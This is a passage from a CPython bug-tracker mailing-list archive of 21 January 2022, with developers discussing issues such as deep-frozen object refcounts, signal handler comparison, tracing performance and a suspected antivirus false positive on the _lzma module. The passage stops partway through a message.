<1642752816.28.0.292360512111.issue46449@roundup.psfhosted.org> STINNER Victor added the comment: > Hm, the deep-frozen objects are statically initialized with a very large refcount that isn't accounted for (they are intended to be immortal). It seems that Py_Finalize() somehow decrefs those objects. I guess this means we need some kind of flag indicating certain objects are immortal (Eric has proposed several schemes), then we could just mark these objects as immortal. The problem is only _Py_RefTotal. Maybe frozen_only_do_patchups() should increment _Py_RefTotal when Python it build with Py_DEBUG macro defined, so it can be safely decremented in Py_Finalize()? Adding a flag in PyObject/PyTypeObject and modifying Py_DECREF() sounds more controversial. I suggest to do that later ;-) (I am not convinced that it's the best approach.) I would suggest to write a PEP for immortal objects. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 03:14:33 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 08:14:33 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1642752873.14.0.0130356962379.issue46449@roundup.psfhosted.org> STINNER Victor added the comment: > This reminds me, since https://github.com/python/cpython/pull/30715 (which I merged yesterday) the deep-frozen objects also reference the small ints directly, as well as the singleton for b"". Is this even safe across Py_Finalize()/Py_Initialize()? If not, we'll need to roll that back as well. I don't know. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 03:20:51 2022 From: report at bugs.python.org (Tal Einat) Date: Fri, 21 Jan 2022 08:20:51 +0000 Subject: [issue46080] argparse.BooleanOptionalAction with default=argparse.SUPPRESS and help specified raises exception In-Reply-To: <1639549771.77.0.946249381009.issue46080@roundup.psfhosted.org> Message-ID: <1642753251.01.0.956145776438.issue46080@roundup.psfhosted.org> Tal Einat added the comment: Thanks for the report and the PR, Felix! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 03:31:24 2022 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Fri, 21 Jan 2022 08:31:24 +0000 Subject: [issue46448] TypedDict inspect.signature error In-Reply-To: <1642720843.6.0.598679137786.issue46448@roundup.psfhosted.org> Message-ID: <1642753884.92.0.348911630598.issue46448@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: This could be due to issue40187 ---------- nosy: +serhiy.storchaka, xtreak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 03:31:56 2022 From: report at bugs.python.org (Tal Einat) Date: Fri, 21 Jan 2022 08:31:56 +0000 Subject: [issue41857] Document timeout arguments to poll() in select module In-Reply-To: <1600999200.88.0.890857154586.issue41857@roundup.psfhosted.org> Message-ID: <1642753916.59.0.494827979198.issue41857@roundup.psfhosted.org> Change by Tal Einat : ---------- pull_requests: +28928 pull_request: https://github.com/python/cpython/pull/30741 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 03:40:58 2022 From: report at bugs.python.org (Tal Einat) Date: Fri, 21 Jan 2022 08:40:58 +0000 Subject: [issue41857] Document timeout arguments to poll() in select module In-Reply-To: <1600999200.88.0.890857154586.issue41857@roundup.psfhosted.org> Message-ID: <1642754458.19.0.426894408263.issue41857@roundup.psfhosted.org> Change by Tal Einat : ---------- pull_requests: +28929 pull_request: https://github.com/python/cpython/pull/30742 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 03:55:19 2022 From: report at bugs.python.org (Akuli) Date: Fri, 21 Jan 2022 08:55:19 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642755319.83.0.488617233323.issue46399@roundup.psfhosted.org> Akuli added the comment: I now agree that `# type: ignore` in dict subclasses makes sense the most, and exposing the views doesn't solve practical problems. We talked more with the people who brought this up in typing. Turns out that the correct solution to their problems was to just inherit from MutableMapping instead of inheriting from dict. If you really need to inherit from dict and make .keys() do something else than it does by default, you're most likely trying to override all dict methods that do something with the keys, and you should just inherit from MutableMapping instead. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 04:02:54 2022 From: report at bugs.python.org (Tal Einat) Date: Fri, 21 Jan 2022 09:02:54 +0000 Subject: [issue41857] Document timeout arguments to poll() in select module In-Reply-To: <1600999200.88.0.890857154586.issue41857@roundup.psfhosted.org> Message-ID: <1642755774.49.0.359437372939.issue41857@roundup.psfhosted.org> Tal Einat added the comment: New changeset f6e5972fa984c10d47694973db1c91c6486d654a by Tal Einat in branch '3.10': [3.10] bpo-41857: mention timeout argument units in select.poll() and select.depoll() doc-strings (GH-22406) https://github.com/python/cpython/commit/f6e5972fa984c10d47694973db1c91c6486d654a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 04:11:29 2022 From: report at bugs.python.org (Yassir Karroum) Date: Fri, 21 Jan 2022 09:11:29 +0000 Subject: [issue44686] use pkgutil.resolve_name in unittest.mock In-Reply-To: <1626809348.44.0.635818901045.issue44686@roundup.psfhosted.org> Message-ID: <1642756289.43.0.0356499131255.issue44686@roundup.psfhosted.org> Yassir Karroum added the comment: I think we can close this one ---------- nosy: +ukarroum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 04:37:44 2022 From: report at bugs.python.org (Tal Einat) Date: Fri, 21 Jan 2022 09:37:44 +0000 Subject: [issue41857] Document timeout arguments to poll() in select module In-Reply-To: <1600999200.88.0.890857154586.issue41857@roundup.psfhosted.org> Message-ID: <1642757864.12.0.190689341552.issue41857@roundup.psfhosted.org> Tal Einat added the comment: New changeset 656971e4953a70a6048170377888db5530eea0a6 by Tal Einat in branch '3.9': [3.9] bpo-41857: mention timeout argument units in select.poll() and select.depoll() doc-strings (GH-22406) https://github.com/python/cpython/commit/656971e4953a70a6048170377888db5530eea0a6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 04:38:43 2022 From: report at bugs.python.org (Tal Einat) Date: Fri, 21 Jan 2022 09:38:43 +0000 Subject: [issue41857] Document timeout arguments to poll() in select module In-Reply-To: <1600999200.88.0.890857154586.issue41857@roundup.psfhosted.org> Message-ID: <1642757923.51.0.295102090511.issue41857@roundup.psfhosted.org> Tal Einat added the comment: Thanks for this improvement, Zane! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 04:41:55 2022 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 21 Jan 2022 09:41:55 +0000 Subject: [issue46450] namedtuple leaks data between instances when field's default value is empty list In-Reply-To: <1642738776.82.0.0885614963013.issue46450@roundup.psfhosted.org> Message-ID: <1642758115.76.0.370271886943.issue46450@roundup.psfhosted.org> Eric V. Smith added the comment: Also see https://docs.python.org/3/faq/programming.html#why-are-default-values-shared-between-objects ---------- nosy: +eric.smith resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 04:54:27 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 21 Jan 2022 09:54:27 +0000 Subject: [issue23325] Turn SIG_DFL and SIG_IGN into functions In-Reply-To: <1422304710.21.0.213579052731.issue23325@psf.upfronthosting.co.za> Message-ID: <1642758867.97.0.785553426968.issue23325@roundup.psfhosted.org> Christian Heimes added the comment: Understood, thanks! A trivial fix for the integer comparison bug would solve my issue: --- a/Modules/signalmodule.c +++ b/Modules/signalmodule.c @@ -527,21 +527,20 @@ signal_signal_impl(PyObject *module, int signalnum, PyObject *handler) "signal number out of range"); return NULL; } - if (handler == modstate->ignore_handler) { + if (PyCallable_Check(handler)) { + func = signal_handler; + } + else if (PyObject_RichCompareBool(handler, modstate->ignore_handler, Py_EQ) == 1) { func = SIG_IGN; } - else if (handler == modstate->default_handler) { + else if (PyObject_RichCompareBool(handler, modstate->default_handler, Py_EQ) == 1) { func = SIG_DFL; - } - else if (!PyCallable_Check(handler)) { + } else { _PyErr_SetString(tstate, PyExc_TypeError, "signal handler must be signal.SIG_IGN, " "signal.SIG_DFL, or a callable object"); return NULL; } - else { - func = signal_handler; - } /* Check for pending signals before changing signal handler */ if (_PyErr_CheckSignalsTstate(tstate)) { ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 05:29:02 2022 From: report at bugs.python.org (Nathan/Eilisha Shiraini) Date: Fri, 21 Jan 2022 10:29:02 +0000 Subject: [issue46452] Possible false detection of Windows LZMA library as a malware by Avast Message-ID: <1642760942.75.0.147462544122.issue46452@roundup.psfhosted.org> New submission from Nathan/Eilisha Shiraini : Sending this here for information mostly On Windows, a recent (2022-01-21) Avast update makes it target the binary LZMA module embedded in Python 3.9 and 3.10. I'm talking about this file: \DLLs\_lzma.pyd I've run a VirusTotal scan of the 3.10 version of the file, which has returned 2 positives out of 67 at the time I'm writing this: https://www.virustotal.com/gui/file/f904b02720b6498634fc045e3cc2a21c04505c6be81626fe99bdb7c12cc26dc6 Can you confirm this is a false positive? Given the VirusTotal result I'm assuming it is, however I'd like to get official confirmation. ---------- components: Windows messages: 411105 nosy: paul.moore, steve.dower, thfetoile, tim.golden, zach.ware priority: normal severity: normal status: open title: Possible false detection of Windows LZMA library as a malware by Avast versions: Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 05:34:20 2022 From: report at bugs.python.org (Nathan/Eilisha Shiraini) Date: Fri, 21 Jan 2022 10:34:20 +0000 Subject: [issue46452] Possible false detection of Windows LZMA library as a malware by Avast In-Reply-To: <1642760942.75.0.147462544122.issue46452@roundup.psfhosted.org> Message-ID: <1642761260.62.0.120283527782.issue46452@roundup.psfhosted.org> Nathan/Eilisha Shiraini added the comment: Also I should have added: I have already reported the file to Avast as a possible false positive, and I'm working on an app that heavily relies on LZMA so this has a high impact for me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 05:37:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 10:37:02 +0000 Subject: [issue31876] python363.chm includes gibberish In-Reply-To: <1509027696.53.0.213398074469.issue31876@psf.upfronthosting.co.za> Message-ID: <1642761422.77.0.115044320048.issue31876@roundup.psfhosted.org> Irit Katriel added the comment: 3.6 is no longer maintained. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:01:39 2022 From: report at bugs.python.org (Mark Shannon) Date: Fri, 21 Jan 2022 11:01:39 +0000 Subject: [issue42197] Disable automatic update of frame locals during tracing In-Reply-To: <1603981001.04.0.667888856285.issue42197@roundup.psfhosted.org> Message-ID: <1642762899.71.0.263571049389.issue42197@roundup.psfhosted.org> Mark Shannon added the comment: While the various frame and debugger PEPs that are open offer a better solution to this, they might not be accepted for 3.11. So I'd like to revisit this. Removing the calls to `PyFrame_FastToLocals` and friends cuts the overhead of tracing down a lot. A *lot*. Using Fabio's example I get the following slowdowns: No calls to PyFrame_FastToLocals`: x10 Main branch with one local variable: x16 Main branch with six locals variables: x50 This is quite a compelling reason to remove the calls to `PyFrame_FastToLocals`. The questions is "what will we break doing this"? All the tests pass, so that seems promising. Ned, how would this impact coverage.py? ---------- nosy: +nedbat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:06:31 2022 From: report at bugs.python.org (Oleg Iarygin) Date: Fri, 21 Jan 2022 11:06:31 +0000 Subject: [issue34875] Change .js mime to "text/javascript" In-Reply-To: <1538519319.52.0.545547206417.issue34875@psf.upfronthosting.co.za> Message-ID: <1642763191.61.0.205564261099.issue34875@roundup.psfhosted.org> Oleg Iarygin added the comment: Myles, it looks like the draft 14 contains a mismatch in 6.2.1: > # 6.2.1. text/ecmascript > > Type name: application > Subtype name: ecmascript In header it's `text`, in details it's `application`. Is it intended? I believe that a typo wouldn't pass though fourteen revisions but nevertheless, just to be safe. ---------- nosy: +arhadthedev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:13:24 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 11:13:24 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642763604.86.0.519384546854.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28930 pull_request: https://github.com/python/cpython/pull/30743 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:26:13 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 11:26:13 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642764373.06.0.32027126479.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28931 pull_request: https://github.com/python/cpython/pull/30744 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:37:00 2022 From: report at bugs.python.org (Peder Bergebakken Sundt) Date: Fri, 21 Jan 2022 11:37:00 +0000 Subject: [issue46453] argparse subparser help text is not escaped before string formatting Message-ID: <1642765020.5.0.0512563787695.issue46453@roundup.psfhosted.org> New submission from Peder Bergebakken Sundt : The `help` text in add_argument of a subparser in argparse can not contain a `%`, as it will affect string formatting. This often results in an exception. See repro.py for a reproduction, tested in Python 3.7 - 3.10. ---------- components: Library (Lib) files: repro.py messages: 411110 nosy: pbsds priority: normal severity: normal status: open title: argparse subparser help text is not escaped before string formatting versions: Python 3.10, Python 3.7, Python 3.8, Python 3.9 Added file: https://bugs.python.org/file50569/repro.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:38:04 2022 From: report at bugs.python.org (Peder Bergebakken Sundt) Date: Fri, 21 Jan 2022 11:38:04 +0000 Subject: [issue46453] argparse subparser help text is not escaped before string formatting In-Reply-To: <1642765020.5.0.0512563787695.issue46453@roundup.psfhosted.org> Message-ID: <1642765084.18.0.257757164399.issue46453@roundup.psfhosted.org> Change by Peder Bergebakken Sundt : ---------- type: -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:40:24 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 11:40:24 +0000 Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit Message-ID: <1642765224.73.0.405662793714.issue1635741@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28932 pull_request: https://github.com/python/cpython/pull/30744 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:45:21 2022 From: report at bugs.python.org (Ned Batchelder) Date: Fri, 21 Jan 2022 11:45:21 +0000 Subject: [issue42197] Disable automatic update of frame locals during tracing In-Reply-To: <1603981001.04.0.667888856285.issue42197@roundup.psfhosted.org> Message-ID: <1642765521.72.0.597017016258.issue42197@roundup.psfhosted.org> Ned Batchelder added the comment: Off the top of my head, I'm not sure this affects coverage.py at all, but I could be missing something. Does PR 23028 have all the changes, or is there some other python/cpython branch I can test with? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:55:52 2022 From: report at bugs.python.org (Mark Shannon) Date: Fri, 21 Jan 2022 11:55:52 +0000 Subject: [issue42197] Disable automatic update of frame locals during tracing In-Reply-To: <1603981001.04.0.667888856285.issue42197@roundup.psfhosted.org> Message-ID: <1642766152.59.0.968049952129.issue42197@roundup.psfhosted.org> Mark Shannon added the comment: Yes the PR has all the changes. It is just the changes sysmodule.c that you need: https://github.com/python/cpython/pull/23028/files#diff-a3a5c73931235f7f344c072dc755d6508e13923db3f5d581c5e88652075871cb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:55:53 2022 From: report at bugs.python.org (tongxiaoge) Date: Fri, 21 Jan 2022 11:55:53 +0000 Subject: [issue46454] '0 -> /dev/null' is lost Message-ID: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> New submission from tongxiaoge : I found a problem in the environment of python2 and python3, as follows: in python2: ``` VM-0-13-suse:~ # python2 -V Python 2.7.13 VM-0-13-suse:~ # VM-0-13-suse:~ # ps -aux|grep python2 root 29414 0.1 0.7 37096 6632 pts/3 S+ 19:41 0:00 python2 fd2.py root 29442 0.0 0.1 10540 1656 pts/5 S+ 19:41 0:00 grep --color=auto python2 VM-0-13-suse:~ # VM-0-13-suse:~ # ps -aux|grep sleep root 29415 0.0 0.1 5760 1256 pts/3 S+ 19:41 0:00 sleep 12345 root 29451 0.0 0.1 10540 1648 pts/5 S+ 19:41 0:00 grep --color=auto sleep VM-0-13-suse:~ # VM-0-13-suse:~ # ls -l /proc/29415/fd total 0 lrwx------ 1 root root 64 Jan 21 19:41 0 -> /dev/null lrwx------ 1 root root 64 Jan 21 19:41 1 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 19:41 2 -> /dev/pts/3 VM-0-13-suse:~ # VM-0-13-suse:~ # kill -9 29415 29414 VM-0-13-suse:~ # VM-0-13-suse:~ # ps -aux|grep python2 root 29551 0.1 0.7 37096 6632 pts/3 S+ 19:42 0:00 python2 fd.py root 29564 0.0 0.1 10540 1608 pts/5 S+ 19:42 0:00 grep --color=auto python2 VM-0-13-suse:~ # ps -aux|grep sleep root 29552 0.0 0.1 5760 1260 pts/3 S+ 19:42 0:00 sleep 12345 root 29576 0.0 0.1 10540 1628 pts/5 S+ 19:42 0:00 grep --color=auto sleep VM-0-13-suse:~ # VM-0-13-suse:~ # ls -l /proc/29552/fd total 0 lrwx------ 1 root root 64 Jan 21 19:42 0 -> /dev/null lrwx------ 1 root root 64 Jan 21 19:42 1 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 19:42 2 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 19:42 3 -> /dev/null VM-0-13-suse:~ # ``` in python3.4.6: ``` VM-0-13-suse:~ # python3 -V Python 3.4.6 VM-0-13-suse:~ # ps -aux|grep python3 root 29086 0.1 0.9 33628 8136 pts/3 S+ 19:39 0:00 python3 fd2.py root 29143 0.0 0.1 10540 1616 pts/5 S+ 19:39 0:00 grep --color=auto python3 VM-0-13-suse:~ # VM-0-13-suse:~ # ps -aux|grep sleep root 29087 0.0 0.1 5760 1284 pts/3 S+ 19:39 0:00 sleep 12345 root 29164 0.0 0.1 10540 1620 pts/5 S+ 19:39 0:00 grep --color=auto sleep VM-0-13-suse:~ # VM-0-13-suse:~ # ls -l /proc/29087/fd total 0 lrwx------ 1 root root 64 Jan 21 19:39 1 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 19:39 2 -> /dev/pts/3 VM-0-13-suse:~ # VM-0-13-suse:~ # kill -9 29087 29086 VM-0-13-suse:~ # VM-0-13-suse:~ # ps -aux|grep python3 root 29257 0.3 0.9 33628 8076 pts/3 S+ 19:40 0:00 python3 fd.py root 29270 0.0 0.1 10540 1620 pts/5 S+ 19:40 0:00 grep --color=auto python3 VM-0-13-suse:~ # VM-0-13-suse:~ # ps -aux|grep sleep root 29258 0.0 0.1 5760 1264 pts/3 S+ 19:40 0:00 sleep 12345 root 29281 0.0 0.1 10540 1628 pts/5 S+ 19:40 0:00 grep --color=auto sleep VM-0-13-suse:~ # VM-0-13-suse:~ # ls -l /proc/29258/fd total 0 lrwx------ 1 root root 64 Jan 21 19:40 0 -> /dev/null lrwx------ 1 root root 64 Jan 21 19:40 1 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 19:40 2 -> /dev/pts/3 ``` in python3.10.0: ``` bash-5.1# python3 -V Python 3.10.0 bash-5.1# bash-5.1# ps -aux|grep python3 root 28688 0.0 0.9 11664 8732 ? S+ 11:36 0:00 python3 fd2.py root 28725 0.0 0.2 6408 2216 ? S+ 11:36 0:00 grep python3 bash-5.1# bash-5.1# ps -aux|grep sleep root 28694 0.0 0.1 5524 908 ? S+ 11:36 0:00 sleep 12345 root 28729 0.0 0.2 6408 2276 ? S+ 11:36 0:00 grep sleep bash-5.1# bash-5.1# ls -l /proc/28694/fd total 0 lrwx------ 1 root root 64 Jan 21 11:36 1 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 11:36 2 -> /dev/pts/3 bash-5.1# bash-5.1# bash-5.1# kill -9 28694 28688 bash-5.1# bash-5.1# ps -aux|grep python3 root 28846 0.5 0.9 11680 8428 ? S+ 11:37 0:00 python3 fd.py root 28854 0.0 0.2 6408 2064 ? S+ 11:37 0:00 grep python3 bash-5.1# bash-5.1# ps -aux|grep sleep root 28847 0.0 0.0 5524 872 ? S+ 11:37 0:00 sleep 12345 root 28863 0.0 0.2 6408 2220 ? S+ 11:37 0:00 grep sleep bash-5.1# bash-5.1# ls -l /proc/28847/fd total 0 lrwx------ 1 root root 64 Jan 21 11:37 0 -> /dev/null lrwx------ 1 root root 64 Jan 21 11:37 1 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 11:37 2 -> /dev/pts/3 bash-5.1# ``` When we execute the script fd2.py in the python 3 environment, we can find that '0 -> /dev/null' is lost. I wonder if this is a bug in Python3 or a new feature? If it is a bug, how to fix it? I will look forward to your reply very much. ---------- components: Library (Lib) messages: 411113 nosy: shihai1991, sxt1001, vstinner priority: normal severity: normal status: open title: '0 -> /dev/null' is lost type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:57:31 2022 From: report at bugs.python.org (Mark Shannon) Date: Fri, 21 Jan 2022 11:57:31 +0000 Subject: [issue42197] Disable automatic update of frame locals during tracing In-Reply-To: <1603981001.04.0.667888856285.issue42197@roundup.psfhosted.org> Message-ID: <1642766251.36.0.497768444341.issue42197@roundup.psfhosted.org> Mark Shannon added the comment: Or you can use this branch: https://github.com/faster-cpython/cpython/tree/dont-fast-to-locals-in-trampoline ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:59:29 2022 From: report at bugs.python.org (Alex Waygood) Date: Fri, 21 Jan 2022 11:59:29 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642766369.11.0.525881405405.issue46399@roundup.psfhosted.org> Alex Waygood added the comment: I have also been persuaded that my suggested solution is not the way to go. Thanks everybody for the useful discussion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:01:50 2022 From: report at bugs.python.org (tongxiaoge) Date: Fri, 21 Jan 2022 12:01:50 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1642766510.26.0.26166500565.issue46454@roundup.psfhosted.org> Change by tongxiaoge : Added file: https://bugs.python.org/file50570/fd.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:03:11 2022 From: report at bugs.python.org (tongxiaoge) Date: Fri, 21 Jan 2022 12:03:11 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1642766591.4.0.880894792191.issue46454@roundup.psfhosted.org> Change by tongxiaoge : Added file: https://bugs.python.org/file50571/fd2.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:04:51 2022 From: report at bugs.python.org (tongxiaoge) Date: Fri, 21 Jan 2022 12:04:51 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1642766691.28.0.774671646848.issue46454@roundup.psfhosted.org> Change by tongxiaoge : Added file: https://bugs.python.org/file50572/python2.7.13-out.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:05:35 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 12:05:35 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642766735.18.0.0593091715741.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset ea38e436fe1e585fb8c1f0badf5482f525b7f9ff by Victor Stinner in branch 'main': bpo-46417: Call _PyDebug_PrintTotalRefs() later (GH-30744) https://github.com/python/cpython/commit/ea38e436fe1e585fb8c1f0badf5482f525b7f9ff ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:05:21 2022 From: report at bugs.python.org (tongxiaoge) Date: Fri, 21 Jan 2022 12:05:21 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1642766721.87.0.565967724695.issue46454@roundup.psfhosted.org> Change by tongxiaoge : Added file: https://bugs.python.org/file50573/python3.10.0-out.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:05:18 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 12:05:18 +0000 Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit Message-ID: <1642766718.22.0.0979494260595.issue1635741@roundup.psfhosted.org> STINNER Victor added the comment: Using "./python -IsS" command, sys.modules now only has 3 extensions which are not created by PyModuleDef_Init(): * builtins * _io * sys The builtins and sys extensions use many static types. Converting these static types to heap types is blocked by bpo-40601. Soon, bpo-46417 will clear these types. Py_Finalize() does its best to clear explicitly builtins and sys namespaces. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:05:31 2022 From: report at bugs.python.org (tongxiaoge) Date: Fri, 21 Jan 2022 12:05:31 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1642766731.69.0.983399347903.issue46454@roundup.psfhosted.org> Change by tongxiaoge : Added file: https://bugs.python.org/file50574/python3.4.6-out.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:06:38 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 12:06:38 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642766798.81.0.290073044223.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 595225e86dcc6ea520a584839925a878dce7a9b2 by Victor Stinner in branch 'main': bpo-46417: Py_Finalize() clears static types (GH-30743) https://github.com/python/cpython/commit/595225e86dcc6ea520a584839925a878dce7a9b2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:32:01 2022 From: report at bugs.python.org (David Mc Dougall) Date: Fri, 21 Jan 2022 12:32:01 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642768321.07.0.411357668907.issue46071@roundup.psfhosted.org> David Mc Dougall added the comment: I can post literally hundreds of examples of directed graphs that are traversable in the forward direction. This might be the only one which is *only* traversable backwards. > As to the meaning of "point to" Here is one: If I have a pointer in memory, I might represent that with an arrow, Like: ADDRESS -> VALUE Or if I have a dictionary I might write: KEY -> VALUE But in the graph the edges are directed the opposite way: KEY <- VALUE The edges in the graph point in the opposite direction as the underlying memory pointers. This is unexpected and confusing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:34:50 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 12:34:50 +0000 Subject: [issue37776] [subinterpreters] Test Py_Finalize() from a subinterpreter In-Reply-To: <1565113410.42.0.547052767114.issue37776@roundup.psfhosted.org> Message-ID: <1642768490.34.0.267249492487.issue37776@roundup.psfhosted.org> STINNER Victor added the comment: I mark this issue as a duplicate of bpo-38865. ---------- resolution: -> duplicate stage: patch review -> resolved status: open -> closed superseder: -> [subinterpreters] Can Py_Finalize() be called if the current interpreter is not the main interpreter? _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:35:14 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 12:35:14 +0000 Subject: [issue38865] [subinterpreters] Can Py_Finalize() be called if the current interpreter is not the main interpreter? In-Reply-To: <1574264524.01.0.330569638863.issue38865@roundup.psfhosted.org> Message-ID: <1642768514.33.0.848726877686.issue38865@roundup.psfhosted.org> STINNER Victor added the comment: I marked bpo-37776 "[subinterpreters] Test Py_Finalize() from a subinterpreter" as a duplicate of this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:39:17 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 12:39:17 +0000 Subject: [issue29858] inspect.signature includes bound argument for wrappers around decorated bound methods In-Reply-To: <1490001553.25.0.894325859627.issue29858@psf.upfronthosting.co.za> Message-ID: <1642768757.46.0.652269648321.issue29858@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:44:57 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 12:44:57 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642769097.0.0.852873366011.issue46417@roundup.psfhosted.org> STINNER Victor added the 